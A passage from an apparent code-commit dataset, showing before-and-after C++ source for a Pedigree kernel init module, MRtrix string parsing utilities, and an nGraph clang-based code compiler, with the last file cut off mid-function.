text
stringlengths
54
60.6k
<commit_before>/* * Copyright (c) 2008 James Molloy, Jörg Pfähler, Matthew Iselin * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <Log.h> #include <vfs/VFS.h> #include <vfs/Directory.h> #include "../../subsys/posix/PosixSubsystem.h" #include <machine/Device.h> #include <machine/Disk.h> #include <Module.h> #include <processor/Processor.h> #include <linker/Elf.h> #include <process/Thread.h> #include <process/Process.h> #include <process/Scheduler.h> #include <processor/PhysicalMemoryManager.h> #include <processor/VirtualAddressSpace.h> #include <machine/Machine.h> #include <linker/DynamicLinker.h> #include <panic.h> #include <utilities/assert.h> #include <kernel/core/BootIO.h> #include <network-stack/NetworkStack.h> #include <network-stack/RoutingTable.h> #include <network-stack/UdpLogger.h> #include <users/UserManager.h> #include <utilities/TimeoutGuard.h> #include <config/ConfigurationManager.h> #include <config/MemoryBackend.h> #include <machine/DeviceHashTree.h> #include <lodisk/LoDisk.h> #include <machine/InputManager.h> extern void pedigree_init_sigret(); extern void pedigree_init_pthreads(); extern BootIO bootIO; void init_stage2(); static bool bRootMounted = false; static bool probeDisk(Disk *pDisk) { String alias; // Null - gets assigned by the filesystem. if (VFS::instance().mount(pDisk, alias)) { // For mount message bool didMountAsRoot = false; // Search for the root specifier, if we haven't already mounted root if (!bRootMounted) { NormalStaticString s; s += alias; s += "»/.pedigree-root"; File* f = VFS::instance().find(String(static_cast<const char*>(s))); if (f && !bRootMounted) { NOTICE("Mounted " << alias << " successfully as root."); VFS::instance().addAlias(alias, String("root")); bRootMounted = didMountAsRoot = true; } } if(!didMountAsRoot) { NOTICE("Mounted " << alias << "."); } return false; } return false; } static bool findDisks(Device *pDev) { for (unsigned int i = 0; i < pDev->getNumChildren(); i++) { Device *pChild = pDev->getChild(i); if (pChild->getNumChildren() == 0 && /* Only check leaf nodes. */ pChild->getType() == Device::Disk) { if ( probeDisk(dynamic_cast<Disk*> (pChild)) ) return true; } else { // Recurse. if (findDisks(pChild)) return true; } } return false; } static void init() { static HugeStaticString str; // Mount all available filesystems. if (!findDisks(&Device::root())) { // FATAL("No disks found!"); } // if (VFS::instance().find(String("raw»/")) == 0) // { // FATAL("No raw partition!"); // } // Are we running a live CD? /// \todo Use the configuration manager to determine if we're running a live CD or /// not, to avoid the potential for conflicts here. if(VFS::instance().find(String("root»/livedisk.img"))) { FileDisk *pRamDisk = new FileDisk(String("root»/livedisk.img"), FileDisk::RamOnly); if(pRamDisk && pRamDisk->initialise()) { pRamDisk->setParent(&Device::root()); Device::root().addChild(pRamDisk); // Mount it in the VFS VFS::instance().removeAlias(String("root")); bRootMounted = false; findDisks(pRamDisk); } else delete pRamDisk; } // Is there a root disk mounted? if(VFS::instance().find(String("root»/.pedigree-root")) == 0) { FATAL("No root disk (missing .pedigree-root?)"); } // Fill out the device hash table DeviceHashTree::instance().fill(&Device::root()); #if 0 // Testing froggey's Bochs patch for magic watchpoints... -Matt volatile uint32_t abc = 0; NOTICE("Address of abc = " << reinterpret_cast<uintptr_t>(&abc) << "..."); asm volatile("xchg %%cx,%%cx" :: "a" (&abc)); abc = 0xdeadbeef; abc = 0xdeadbe; abc = 0xdead; abc = 0xde; abc = 0xd; abc = 0; FATAL("Test complete: " << abc << "."); #endif // Initialise user/group configuration. UserManager::instance().initialise(); // Build routing tables - try to find a default configuration that can // connect to the outside world IpAddress empty; bool bRouteFound = false; for (size_t i = 0; i < NetworkStack::instance().getNumDevices(); i++) { /// \todo Perhaps try and ping a remote host? Network* card = NetworkStack::instance().getDevice(i); StationInfo info = card->getStationInfo(); // If the device has a gateway, set it as the default and continue if (info.gateway != empty) { if(!bRouteFound) { RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String("default"), card); bRouteFound = true; } // Additionally route the complement of its subnet to the gateway RoutingTable::instance().Add(RoutingTable::DestSubnetComplement, info.ipv4, info.subnetMask, info.gateway, String(""), card); // And the actual subnet that the card is on needs to route to... the card. RoutingTable::instance().Add(RoutingTable::DestSubnet, info.ipv4, info.subnetMask, empty, String(""), card); } // If this isn't already the loopback device, redirect our own IP to 127.0.0.1 if(info.ipv4.getIp() != Network::convertToIpv4(127, 0, 0, 1)) RoutingTable::instance().Add(RoutingTable::DestIpSub, info.ipv4, Network::convertToIpv4(127, 0, 0, 1), String(""), NetworkStack::instance().getLoopback()); else RoutingTable::instance().Add(RoutingTable::DestIp, info.ipv4, empty, String(""), card); } // Otherwise, just assume the default is interface zero if (!bRouteFound) RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String("default"), NetworkStack::instance().getDevice(0)); #if 0 // Routes installed, start the UDP logger UdpLogger *logger = new UdpLogger(); logger->initialise(IpAddress(Network::convertToIpv4(192, 168, 0, 1))); Log::instance().installCallback(logger); #endif str += "Loading init program (root»/applications/TUI)\n"; bootIO.write(str, BootIO::White, BootIO::Black); str.clear(); #ifdef THREADS // At this point we're uninterruptible, as we're forking. Spinlock lock; lock.acquire(); // Create a new process for the init process. Process *pProcess = new Process(Processor::information().getCurrentThread()->getParent()); pProcess->setUser(UserManager::instance().getUser(0)); pProcess->setGroup(UserManager::instance().getUser(0)->getDefaultGroup()); pProcess->description().clear(); pProcess->description().append("init"); pProcess->setCwd(VFS::instance().find(String("root»/"))); pProcess->setCtty(0); PosixSubsystem *pSubsystem = new PosixSubsystem; pProcess->setSubsystem(pSubsystem); new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(&init_stage2), 0x0 /* parameter */); lock.release(); #else #warning the init module is almost useless without threads. #endif } static void destroy() { } extern void system_reset(); void init_stage2() { // Load initial program. File* initProg = VFS::instance().find(String("root»/applications/TUI")); if (!initProg) { NOTICE("INIT: FileNotFound!!"); initProg = VFS::instance().find(String("root»/applications/tui")); if (!initProg) { FATAL("Unable to load init program!"); return; } } NOTICE("INIT: File found: " << reinterpret_cast<uintptr_t>(initProg)); String fname = initProg->getName(); NOTICE("INIT: name: " << fname); // That will have forked - we don't want to fork, so clear out all the chaff in the new address space that's not // in the kernel address space so we have a clean slate. Process *pProcess = Processor::information().getCurrentThread()->getParent(); pProcess->getAddressSpace()->revertToKernelAddressSpace(); DynamicLinker *pLinker = new DynamicLinker(); pProcess->setLinker(pLinker); if (!pLinker->loadProgram(initProg)) { FATAL("Init program failed to load!"); } for (int j = 0; j < 0x20000; j += 0x1000) { physical_uintptr_t phys = PhysicalMemoryManager::instance().allocatePage(); bool b = Processor::information().getVirtualAddressSpace().map(phys, reinterpret_cast<void*> (j+0x20000000), VirtualAddressSpace::Write); if (!b) WARNING("map() failed in init"); } // Initialise the sigret and pthreads shizzle. pedigree_init_sigret(); pedigree_init_pthreads(); #if 0 system_reset(); #else // Alrighty - lets create a new thread for this program - -8 as PPC assumes the previous stack frame is available... new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(pLinker->getProgramElf()->getEntryPoint()), 0x0 /* parameter */, reinterpret_cast<void*>(0x20020000-8) /* Stack */); #endif } #ifdef X86_COMMON #define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "TUI", "linker", "network-stack", "vbe", "users", "pedigree-c" #elif PPC_COMMON #define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "TUI", "linker", "network-stack", "users", "pedigree-c" #elif ARM_COMMON #define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "linker", "network-stack", "users", "pedigree-c" #endif MODULE_INFO("init", &init, &destroy, __MOD_DEPS); <commit_msg>init module now waits until the TUI thread is running before exiting its entry point.<commit_after>/* * Copyright (c) 2008 James Molloy, Jörg Pfähler, Matthew Iselin * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <Log.h> #include <vfs/VFS.h> #include <vfs/Directory.h> #include "../../subsys/posix/PosixSubsystem.h" #include <machine/Device.h> #include <machine/Disk.h> #include <Module.h> #include <processor/Processor.h> #include <linker/Elf.h> #include <process/Thread.h> #include <process/Process.h> #include <process/Scheduler.h> #include <processor/PhysicalMemoryManager.h> #include <processor/VirtualAddressSpace.h> #include <machine/Machine.h> #include <linker/DynamicLinker.h> #include <panic.h> #include <utilities/assert.h> #include <kernel/core/BootIO.h> #include <network-stack/NetworkStack.h> #include <network-stack/RoutingTable.h> #include <network-stack/UdpLogger.h> #include <users/UserManager.h> #include <utilities/TimeoutGuard.h> #include <config/ConfigurationManager.h> #include <config/MemoryBackend.h> #include <machine/DeviceHashTree.h> #include <lodisk/LoDisk.h> #include <machine/InputManager.h> extern void pedigree_init_sigret(); extern void pedigree_init_pthreads(); extern BootIO bootIO; void init_stage2(); static bool bRootMounted = false; static bool probeDisk(Disk *pDisk) { String alias; // Null - gets assigned by the filesystem. if (VFS::instance().mount(pDisk, alias)) { // For mount message bool didMountAsRoot = false; // Search for the root specifier, if we haven't already mounted root if (!bRootMounted) { NormalStaticString s; s += alias; s += "»/.pedigree-root"; File* f = VFS::instance().find(String(static_cast<const char*>(s))); if (f && !bRootMounted) { NOTICE("Mounted " << alias << " successfully as root."); VFS::instance().addAlias(alias, String("root")); bRootMounted = didMountAsRoot = true; } } if(!didMountAsRoot) { NOTICE("Mounted " << alias << "."); } return false; } return false; } static bool findDisks(Device *pDev) { for (unsigned int i = 0; i < pDev->getNumChildren(); i++) { Device *pChild = pDev->getChild(i); if (pChild->getNumChildren() == 0 && /* Only check leaf nodes. */ pChild->getType() == Device::Disk) { if ( probeDisk(dynamic_cast<Disk*> (pChild)) ) return true; } else { // Recurse. if (findDisks(pChild)) return true; } } return false; } /// This ensures that the init module entry function will not exit until the init /// program entry point thread is running. Mutex g_InitProgramLoaded(true); static void init() { static HugeStaticString str; // Mount all available filesystems. if (!findDisks(&Device::root())) { // FATAL("No disks found!"); } // if (VFS::instance().find(String("raw»/")) == 0) // { // FATAL("No raw partition!"); // } // Are we running a live CD? /// \todo Use the configuration manager to determine if we're running a live CD or /// not, to avoid the potential for conflicts here. if(VFS::instance().find(String("root»/livedisk.img"))) { FileDisk *pRamDisk = new FileDisk(String("root»/livedisk.img"), FileDisk::RamOnly); if(pRamDisk && pRamDisk->initialise()) { pRamDisk->setParent(&Device::root()); Device::root().addChild(pRamDisk); // Mount it in the VFS VFS::instance().removeAlias(String("root")); bRootMounted = false; findDisks(pRamDisk); } else delete pRamDisk; } // Is there a root disk mounted? if(VFS::instance().find(String("root»/.pedigree-root")) == 0) { FATAL("No root disk (missing .pedigree-root?)"); } // Fill out the device hash table DeviceHashTree::instance().fill(&Device::root()); #if 0 // Testing froggey's Bochs patch for magic watchpoints... -Matt volatile uint32_t abc = 0; NOTICE("Address of abc = " << reinterpret_cast<uintptr_t>(&abc) << "..."); asm volatile("xchg %%cx,%%cx" :: "a" (&abc)); abc = 0xdeadbeef; abc = 0xdeadbe; abc = 0xdead; abc = 0xde; abc = 0xd; abc = 0; FATAL("Test complete: " << abc << "."); #endif // Initialise user/group configuration. UserManager::instance().initialise(); // Build routing tables - try to find a default configuration that can // connect to the outside world IpAddress empty; bool bRouteFound = false; for (size_t i = 0; i < NetworkStack::instance().getNumDevices(); i++) { /// \todo Perhaps try and ping a remote host? Network* card = NetworkStack::instance().getDevice(i); StationInfo info = card->getStationInfo(); // If the device has a gateway, set it as the default and continue if (info.gateway != empty) { if(!bRouteFound) { RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String("default"), card); bRouteFound = true; } // Additionally route the complement of its subnet to the gateway RoutingTable::instance().Add(RoutingTable::DestSubnetComplement, info.ipv4, info.subnetMask, info.gateway, String(""), card); // And the actual subnet that the card is on needs to route to... the card. RoutingTable::instance().Add(RoutingTable::DestSubnet, info.ipv4, info.subnetMask, empty, String(""), card); } // If this isn't already the loopback device, redirect our own IP to 127.0.0.1 if(info.ipv4.getIp() != Network::convertToIpv4(127, 0, 0, 1)) RoutingTable::instance().Add(RoutingTable::DestIpSub, info.ipv4, Network::convertToIpv4(127, 0, 0, 1), String(""), NetworkStack::instance().getLoopback()); else RoutingTable::instance().Add(RoutingTable::DestIp, info.ipv4, empty, String(""), card); } // Otherwise, just assume the default is interface zero if (!bRouteFound) RoutingTable::instance().Add(RoutingTable::Named, empty, empty, String("default"), NetworkStack::instance().getDevice(0)); #if 0 // Routes installed, start the UDP logger UdpLogger *logger = new UdpLogger(); logger->initialise(IpAddress(Network::convertToIpv4(192, 168, 0, 1))); Log::instance().installCallback(logger); #endif str += "Loading init program (root»/applications/TUI)\n"; bootIO.write(str, BootIO::White, BootIO::Black); str.clear(); #ifdef THREADS // At this point we're uninterruptible, as we're forking. Spinlock lock; lock.acquire(); // Create a new process for the init process. Process *pProcess = new Process(Processor::information().getCurrentThread()->getParent()); pProcess->setUser(UserManager::instance().getUser(0)); pProcess->setGroup(UserManager::instance().getUser(0)->getDefaultGroup()); pProcess->description().clear(); pProcess->description().append("init"); pProcess->setCwd(VFS::instance().find(String("root»/"))); pProcess->setCtty(0); PosixSubsystem *pSubsystem = new PosixSubsystem; pProcess->setSubsystem(pSubsystem); new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(&init_stage2), 0x0 /* parameter */); lock.release(); // Wait for the program to load g_InitProgramLoaded.acquire(); #else #warning the init module is almost useless without threads. #endif } static void destroy() { } extern void system_reset(); void init_stage2() { // Load initial program. File* initProg = VFS::instance().find(String("root»/applications/TUI")); if (!initProg) { NOTICE("INIT: FileNotFound!!"); initProg = VFS::instance().find(String("root»/applications/tui")); if (!initProg) { FATAL("Unable to load init program!"); return; } } NOTICE("INIT: File found"); String fname = initProg->getName(); NOTICE("INIT: name: " << fname); // That will have forked - we don't want to fork, so clear out all the chaff // in the new address space that's not in the kernel address space so we // have a clean slate. Process *pProcess = Processor::information().getCurrentThread()->getParent(); pProcess->getAddressSpace()->revertToKernelAddressSpace(); DynamicLinker *pLinker = new DynamicLinker(); pProcess->setLinker(pLinker); if (!pLinker->loadProgram(initProg)) { FATAL("Init program failed to load!"); } for (int j = 0; j < 0x20000; j += 0x1000) { physical_uintptr_t phys = PhysicalMemoryManager::instance().allocatePage(); bool b = Processor::information().getVirtualAddressSpace().map(phys, reinterpret_cast<void*> (j+0x20000000), VirtualAddressSpace::Write); if (!b) WARNING("map() failed in init"); } // Initialise the sigret and pthreads shizzle. pedigree_init_sigret(); pedigree_init_pthreads(); #if 0 system_reset(); #else // Alrighty - lets create a new thread for this program - -8 as PPC assumes the previous stack frame is available... new Thread(pProcess, reinterpret_cast<Thread::ThreadStartFunc>(pLinker->getProgramElf()->getEntryPoint()), 0x0 /* parameter */, reinterpret_cast<void*>(0x20020000-8) /* Stack */); g_InitProgramLoaded.release(); #endif } #ifdef X86_COMMON #define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "TUI", "linker", "network-stack", "vbe", "users", "pedigree-c" #elif PPC_COMMON #define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "TUI", "linker", "network-stack", "users", "pedigree-c" #elif ARM_COMMON #define __MOD_DEPS "vfs", "ext2", "fat", "posix", "partition", "linker", "network-stack", "users", "pedigree-c" #endif MODULE_INFO("init", &init, &destroy, __MOD_DEPS); <|endoftext|>
<commit_before>/* Copyright 2008 Brain Research Institute, Melbourne, Australia Written by J-Donald Tournier, 27/06/08. This file is part of MRtrix. MRtrix is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. MRtrix is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with MRtrix. If not, see <http://www.gnu.org/licenses/>. */ #include <gsl/gsl_version.h> #include "mrtrix.h" namespace MR { /************************************************************************ * MRtrix version information * ************************************************************************/ const size_t mrtrix_major_version = MRTRIX_MAJOR_VERSION; const size_t mrtrix_minor_version = MRTRIX_MINOR_VERSION; const size_t mrtrix_micro_version = MRTRIX_MICRO_VERSION; /************************************************************************ * Miscellaneous functions * ************************************************************************/ std::vector<float> parse_floats (const std::string& spec) { std::vector<float> V; if (!spec.size()) throw Exception ("floating-point sequence specifier is empty"); std::string::size_type start = 0, end; try { do { end = spec.find_first_of (',', start); std::string sub (spec.substr (start, end-start)); float num = sub == "nan" ? NAN : to<float> (spec.substr (start, end-start)); V.push_back (num); start = end+1; } while (end < spec.size()); } catch (Exception& E) { throw Exception (E, "can't parse floating-point sequence specifier \"" + spec + "\""); } return (V); } std::vector<int> parse_ints (const std::string& spec, int last) { std::vector<int> V; if (!spec.size()) throw Exception ("integer sequence specifier is empty"); std::string::size_type start = 0, end; int num[3]; int i = 0; try { do { end = spec.find_first_of (",:", start); std::string token (strip (spec.substr (start, end-start))); lowercase (token); if (token == "end") { if (last == std::numeric_limits<int>::max()) throw Exception ("value of \"end\" is not known in number sequence \"" + spec + "\""); num[i] = last; } else num[i] = to<int> (spec.substr (start, end-start)); char last_char = end < spec.size() ? spec[end] : '\0'; if (last_char == ':') { i++; if (i > 2) throw Exception ("invalid number range in number sequence \"" + spec + "\""); } else { if (i) { int inc, last; if (i == 2) { inc = num[1]; last = num[2]; } else { inc = 1; last = num[1]; } if (inc * (last - num[0]) < 0) inc = -inc; for (; (inc > 0 ? num[0] <= last : num[0] >= last) ; num[0] += inc) V.push_back (num[0]); } else V.push_back (num[0]); i = 0; } start = end+1; } while (end < spec.size()); } catch (Exception& E) { throw Exception (E, "can't parse integer sequence specifier \"" + spec + "\""); } return (V); } std::vector<std::string> split (const std::string& string, const char* delimiters, bool ignore_empty_fields, size_t num) { std::vector<std::string> V; std::string::size_type start = 0, end; try { do { end = string.find_first_of (delimiters, start); V.push_back (string.substr (start, end-start)); start = ignore_empty_fields ? string.find_first_not_of (delimiters, end+1) : end+1; if (V.size()+1 >= num) { V.push_back (string.substr (start)); break; } } while (end < std::string::npos && V.size() < num); // should this change to: //} while (start < std::string::npos && V.size() < num); } catch (...) { throw Exception ("can't split string \"" + string + "\""); } return V; } } <commit_msg>fix MR::split(std::string&) function to handle missing entries, etc.<commit_after>/* Copyright 2008 Brain Research Institute, Melbourne, Australia Written by J-Donald Tournier, 27/06/08. This file is part of MRtrix. MRtrix is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. MRtrix is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with MRtrix. If not, see <http://www.gnu.org/licenses/>. */ #include <gsl/gsl_version.h> #include "mrtrix.h" namespace MR { /************************************************************************ * MRtrix version information * ************************************************************************/ const size_t mrtrix_major_version = MRTRIX_MAJOR_VERSION; const size_t mrtrix_minor_version = MRTRIX_MINOR_VERSION; const size_t mrtrix_micro_version = MRTRIX_MICRO_VERSION; /************************************************************************ * Miscellaneous functions * ************************************************************************/ std::vector<float> parse_floats (const std::string& spec) { std::vector<float> V; if (!spec.size()) throw Exception ("floating-point sequence specifier is empty"); std::string::size_type start = 0, end; try { do { end = spec.find_first_of (',', start); std::string sub (spec.substr (start, end-start)); float num = sub == "nan" ? NAN : to<float> (spec.substr (start, end-start)); V.push_back (num); start = end+1; } while (end < spec.size()); } catch (Exception& E) { throw Exception (E, "can't parse floating-point sequence specifier \"" + spec + "\""); } return (V); } std::vector<int> parse_ints (const std::string& spec, int last) { std::vector<int> V; if (!spec.size()) throw Exception ("integer sequence specifier is empty"); std::string::size_type start = 0, end; int num[3]; int i = 0; try { do { end = spec.find_first_of (",:", start); std::string token (strip (spec.substr (start, end-start))); lowercase (token); if (token == "end") { if (last == std::numeric_limits<int>::max()) throw Exception ("value of \"end\" is not known in number sequence \"" + spec + "\""); num[i] = last; } else num[i] = to<int> (spec.substr (start, end-start)); char last_char = end < spec.size() ? spec[end] : '\0'; if (last_char == ':') { i++; if (i > 2) throw Exception ("invalid number range in number sequence \"" + spec + "\""); } else { if (i) { int inc, last; if (i == 2) { inc = num[1]; last = num[2]; } else { inc = 1; last = num[1]; } if (inc * (last - num[0]) < 0) inc = -inc; for (; (inc > 0 ? num[0] <= last : num[0] >= last) ; num[0] += inc) V.push_back (num[0]); } else V.push_back (num[0]); i = 0; } start = end+1; } while (end < spec.size()); } catch (Exception& E) { throw Exception (E, "can't parse integer sequence specifier \"" + spec + "\""); } return (V); } std::vector<std::string> split (const std::string& string, const char* delimiters, bool ignore_empty_fields, size_t num) { std::vector<std::string> V; std::string::size_type start = 0, end; try { do { end = string.find_first_of (delimiters, start); V.push_back (string.substr (start, end-start)); if (end >= string.size()) break; start = ignore_empty_fields ? string.find_first_not_of (delimiters, end+1) : end+1; if (start > string.size()) break; if (V.size()+1 >= num) { V.push_back (string.substr (start)); break; } } while (true); } catch (...) { throw Exception ("can't split string \"" + string + "\""); } return V; } } <|endoftext|>
<commit_before>// ---------------------------------------------------------------------------- // Copyright 2017 Nervana Systems Inc. // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // ---------------------------------------------------------------------------- #include <iostream> #include <clang/Basic/DiagnosticOptions.h> #include <clang/Basic/TargetInfo.h> #include <clang/CodeGen/CodeGenAction.h> #include <clang/CodeGen/ObjectFilePCHContainerOperations.h> #include <clang/Driver/DriverDiagnostic.h> #include <clang/Driver/Options.h> #include <clang/Frontend/CompilerInstance.h> #include <clang/Frontend/CompilerInstance.h> #include <clang/Frontend/CompilerInvocation.h> #include <clang/Frontend/FrontendActions.h> #include <clang/Frontend/FrontendDiagnostic.h> #include <clang/Frontend/TextDiagnosticBuffer.h> #include <clang/Frontend/TextDiagnosticPrinter.h> #include <clang/Frontend/TextDiagnosticPrinter.h> #include <clang/Frontend/Utils.h> #include <clang/FrontendTool/Utils.h> #include <clang/Lex/Preprocessor.h> #include <clang/Lex/PreprocessorOptions.h> #include <llvm/ADT/Statistic.h> #include <llvm/LinkAllPasses.h> #include <llvm/Option/Arg.h> #include <llvm/Option/ArgList.h> #include <llvm/Option/OptTable.h> #include <llvm/Support/ErrorHandling.h> #include <llvm/Support/ManagedStatic.h> #include <llvm/Support/Signals.h> #include <llvm/Support/TargetSelect.h> #include <llvm/Support/TargetSelect.h> #include <llvm/Support/Timer.h> #include <llvm/Support/raw_ostream.h> #include "ngraph/codegen/compiler.hpp" #include "ngraph/file_util.hpp" #include "ngraph/log.hpp" #include "ngraph/util.hpp" // TODO: Fix leaks // #define USE_CACHE using namespace clang; using namespace llvm; using namespace llvm::opt; using namespace std; using namespace ngraph::codegen; static HeaderCache s_header_cache; static StaticCompiler s_static_compiler; static std::mutex m_mutex; Compiler::Compiler() { } Compiler::~Compiler() { } void Compiler::set_precompiled_header_source(const std::string& source) { s_static_compiler.set_precompiled_header_source(source); } void Compiler::add_header_search_path(const std::string& path) { s_static_compiler.add_header_search_path(path); } std::unique_ptr<llvm::Module> Compiler::compile(const std::string& source) { lock_guard<mutex> lock(m_mutex); return s_static_compiler.compile(compiler_action, source); } static std::string GetExecutablePath(const char* Argv0) { // This just needs to be some symbol in the binary; C++ doesn't // allow taking the address of ::main however. void* MainAddr = reinterpret_cast<void*>(GetExecutablePath); return llvm::sys::fs::getMainExecutable(Argv0, MainAddr); } StaticCompiler::StaticCompiler() : m_precompiled_header_valid(false) , m_debuginfo_enabled(false) , m_source_name("code.cpp") { #if NGCPU_DEBUGINFO m_debuginfo_enabled = true; #endif InitializeNativeTarget(); LLVMInitializeNativeAsmPrinter(); LLVMInitializeNativeAsmParser(); // Prepare compilation arguments vector<const char*> args; args.push_back(m_source_name.c_str()); // Prepare DiagnosticEngine IntrusiveRefCntPtr<DiagnosticOptions> DiagOpts = new DiagnosticOptions(); TextDiagnosticPrinter* textDiagPrinter = new clang::TextDiagnosticPrinter(errs(), &*DiagOpts); IntrusiveRefCntPtr<DiagnosticIDs> DiagID(new DiagnosticIDs()); DiagnosticsEngine DiagEngine(DiagID, &*DiagOpts, textDiagPrinter); // Create and initialize CompilerInstance m_compiler = std::unique_ptr<CompilerInstance>(new CompilerInstance()); m_compiler->createDiagnostics(); // Initialize CompilerInvocation CompilerInvocation::CreateFromArgs( m_compiler->getInvocation(), &args[0], &args[0] + args.size(), DiagEngine); // Infer the builtin include path if unspecified. if (m_compiler->getHeaderSearchOpts().UseBuiltinIncludes && m_compiler->getHeaderSearchOpts().ResourceDir.empty()) { void* MainAddr = reinterpret_cast<void*>(GetExecutablePath); auto path = CompilerInvocation::GetResourcesPath(args[0], MainAddr); m_compiler->getHeaderSearchOpts().ResourceDir = path; } if (s_header_cache.is_valid() == false) { // Add base toolchain-supplied header paths // Ideally one would use the Linux toolchain definition in clang/lib/Driver/ToolChains.h // But that's a private header and isn't part of the public libclang API // Instead of re-implementing all of that functionality in a custom toolchain // just hardcode the paths relevant to frequently used build/test machines for now add_header_search_path(CLANG_BUILTIN_HEADERS_PATH); add_header_search_path("/usr/include/x86_64-linux-gnu"); add_header_search_path("/usr/include"); // Search for headers in // /usr/include/x86_64-linux-gnu/c++/N.N // /usr/include/c++/N.N // and add them to the header search path file_util::iterate_files("/usr/include/x86_64-linux-gnu/c++/", [&](const std::string& file, bool is_dir) { if (is_dir) { string dir_name = file_util::get_file_name(file); if (is_version_number(dir_name)) { add_header_search_path(file); } } }); file_util::iterate_files("/usr/include/c++/", [&](const std::string& file, bool is_dir) { if (is_dir) { string dir_name = file_util::get_file_name(file); if (is_version_number(dir_name)) { add_header_search_path(file); } } }); add_header_search_path(EIGEN_HEADERS_PATH); add_header_search_path(NGRAPH_HEADERS_PATH); #ifdef USE_CACHE s_header_cache.set_valid(); #endif } #ifdef USE_CACHE use_cached_files(m_compiler); #endif // Language options // These are the C++ features needed to compile ngraph headers // and any dependencies like Eigen auto LO = m_compiler->getInvocation().getLangOpts(); LO->CPlusPlus = 1; LO->CPlusPlus11 = 1; LO->Bool = 1; LO->Exceptions = 1; LO->CXXExceptions = 1; LO->WChar = 1; LO->RTTI = 1; // Enable OpenMP for Eigen LO->OpenMP = 1; LO->OpenMPUseTLS = 1; // CodeGen options auto& CGO = m_compiler->getInvocation().getCodeGenOpts(); CGO.OptimizationLevel = 3; CGO.RelocationModel = "static"; CGO.ThreadModel = "posix"; CGO.FloatABI = "hard"; CGO.OmitLeafFramePointer = 1; CGO.VectorizeLoop = 1; CGO.VectorizeSLP = 1; CGO.CXAAtExit = 1; if (m_debuginfo_enabled) { CGO.setDebugInfo(codegenoptions::FullDebugInfo); } // Enable various target features // Most of these are for Eigen auto& TO = m_compiler->getInvocation().getTargetOpts(); // TODO: This needs to be configurable and selected carefully TO.CPU = "broadwell"; TO.FeaturesAsWritten.emplace_back("+sse"); TO.FeaturesAsWritten.emplace_back("+sse2"); TO.FeaturesAsWritten.emplace_back("+sse3"); TO.FeaturesAsWritten.emplace_back("+ssse3"); TO.FeaturesAsWritten.emplace_back("+sse4.1"); TO.FeaturesAsWritten.emplace_back("+sse4.2"); TO.FeaturesAsWritten.emplace_back("+avx"); TO.FeaturesAsWritten.emplace_back("+avx2"); TO.FeaturesAsWritten.emplace_back("+fma"); } StaticCompiler::~StaticCompiler() { } bool StaticCompiler::is_version_number(const string& path) { bool rc = true; vector<string> tokens = ngraph::split(path, '.'); for (string s : tokens) { for (char c : s) { if (!isdigit(c)) { rc = false; } } } return rc; } void StaticCompiler::add_header_search_path(const string& path) { if (!contains(m_extra_search_path_list, path)) { m_extra_search_path_list.push_back(path); HeaderSearchOptions& hso = m_compiler->getInvocation().getHeaderSearchOpts(); #ifdef USE_CACHE static vector<string> valid_ext = {".h", ".hpp", ".tcc", ""}; string mapped_path = file_util::path_join("/$BUILTIN", path); mapped_path = path; s_header_cache.add_path(mapped_path); auto func = [&](const std::string& file, bool is_dir) { if (!is_dir) { string ext = file_util::get_file_ext(file); if (contains(valid_ext, ext)) { // This is a header file string relative_name = file.substr(path.size() + 1); string mapped_name = file_util::path_join(mapped_path, relative_name); ErrorOr<unique_ptr<MemoryBuffer>> code = MemoryBuffer::getFile(file); if (error_code ec = 